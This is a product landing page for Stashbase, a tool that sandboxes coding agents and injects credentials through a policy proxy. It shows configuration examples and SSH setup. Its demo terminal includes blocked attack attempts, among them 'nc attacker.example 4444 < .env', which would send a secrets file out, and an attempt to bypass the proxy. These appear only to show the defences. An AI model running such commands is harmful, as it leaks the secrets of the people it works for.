Access control forClaude Code
Run coding agents in a sandbox with access rules for files, APIs, and tools. Let them use credentials without seeing the real values.
Free forever: local sandboxing, proxy access, and unlimited profiles.
$
Give agents access—not your credentials
Let coding agents use the APIs, tools, and credentials they need while Stashbase keeps raw secrets outside the agent context and enforces policy at the request boundary.
egress_hosts = ["chatgpt.com", "api.openai.com"]
[secrets]
project = "project"
environment = "api-staging"
[secrets.GITHUB_TOKEN]
env = "GITHUB_TOKEN"
[[secrets.GITHUB_TOKEN.rules]]
effect = "allow"
hosts = ["api.github.com"]
methods = ["GET"]
paths = ["/repos/*/*/issues*"]
[personal_credentials.LINEAR_API_KEY]
env = "LINEAR_API_KEY"
[[personal_credentials.LINEAR_API_KEY.rules]]
effect = "allow"
hosts = ["mcp.linear.app"]
methods = ["GET", "POST"]
paths = ["/mcp"]Desktop quickstart
Try it yourself
Open this page on macOS or Linux to install the CLI and try the local policy.
[personal_credentials.LINEAR_API_KEY]
env = "LINEAR_API_KEY"
[[personal_credentials.LINEAR_API_KEY.rules]]
effect = "allow"
hosts = ["mcp.linear.app"]
methods = ["GET", "POST"]
paths = ["/mcp"]
[mcp_servers.linear]
url = "https://mcp.linear.app/mcp"
binding = "LINEAR_API_KEY"
allow_tools = ["*"]
deny_tools = ["delete_issue"]Control tools as well as credentials.
Credentials stay at the boundary
Bindings inject authentication without exposing its value.
Allowed tools are visible
Unauthorized tools are filtered from the server’s tool list.
Denied tools cannot run
Calls outside policy are rejected before they reach the server.
Choose the right boundary
Use the same profile with either proxy. Your agent runs on your machine in both cases; only the place where credentials are injected changes.
The proxy and credential injection run on your machine. Use secrets from a local file or a Stashbase project.
Credential injection runs on Stashbase infrastructure, so resolved secrets are never loaded on your machine. See and revoke remote proxy sessions.
Enforced, not just configured
With the Docker backend, the agent runs inside a sandbox whose only route to the network is the Stashbase proxy. It can’t bypass your policies, read files you’ve denied, or send data to hosts you haven’t allowed.
$ cat .env
cat: .env: Permission denied
# denied by the profile
$ env -u HTTPS_PROXY curl https://example.com
curl: (7) Failed to connect
# can't skip the proxy: blocked by the firewall
$ nc attacker.example 4444 < .env
# blocked: only HTTP(S) through the proxy is allowed
$ nc -z host.docker.internal 5432
# blocked: no route to the host or private networks
$ curl -u "$STRIPE_SECRET_KEY:" \
https://api.stripe.com/v1/charges
# 200 OK: allowed, real key injected by the proxyA firewall, not just env vars
Each sandbox has its own firewall with no direct route to the internet, your host, or private networks. The only way out is the Stashbase proxy.
$ env -u HTTPS_PROXY curl … → blockedRules the agent can’t touch
The firewall sits outside the agent’s reach, so even a compromised agent can’t switch it off.
disable firewall → permission deniedTwo backends, same profile
An OS-level sandbox by default, with nothing extra to install. Or switch to Docker for container isolation, where the agent sees only your project.
backend = "native" | "docker"Bring your own image
Use the default image with Claude Code and Codex preinstalled, or bring your own. Custom images add tools, never privileges.
dockerfile = "./sandbox.Dockerfile"Run agents on a server, not your laptop
Run your agents on a server you reach over SSH, with the same profiles, sandbox and proxy.
$ stashbase ssh install mybox
# a host from ~/.ssh/config, or user@host
$ stashbase ssh setup mybox
# sign in on the server, then check the key and Docker
$ stashbase ssh open mybox
# attached to the server's stashbase tmux session
mybox $ stashbase agent run --profile coding -- claudeKeeps running when you leave
Agents run in a tmux session on the server and keep going when you close your laptop. Reattach from anywhere, even your phone.
detach → agents keep runningYour laptop’s key stays put
The server gets its own key, which you can revoke anytime. The key on your laptop is never copied.
one machine, one keyYour own SSH, nothing new
Stashbase uses the ssh you already have, with your config, keys, and jump hosts.
stashbase ssh install user@hostDev servers on localhost
Forward a port so the app the agent is working on opens on your laptop.
stashbase ssh open mybox --port 3000Works with x86_64 Linux servers and Apple Silicon Macs. Use one machine per developer.
See how remote machines workBacked by a full secrets manager
Project secrets and personal credentials live in a Stashbase workspace, and agent profiles reference either one.
Projects and environments
Shared secrets for each project, split into development, staging, and production, plus a dedicated environment for agents.
Personal credentials
Credentials tied to your own account and private to you. The remote proxy uses them for allowed requests; the CLI never sees them.
Dependency checks
Stop agents from installing npm packages with known vulnerabilities, before the install runs.
Secret scanning
Catch hardcoded credentials in human- or agent-written code before they ship.
Team roles and permissions
Decide who can read or change each environment, with roles and teams.
Integrations
Sync secrets with GitHub, Vercel, GCP Secret Manager, and AWS Secrets Manager.
Give agents access, not your keys.
Keep your project credentials in one workspace and let agents use them only through the access rules in their profiles. The free plan includes one hosted project with 3 environments.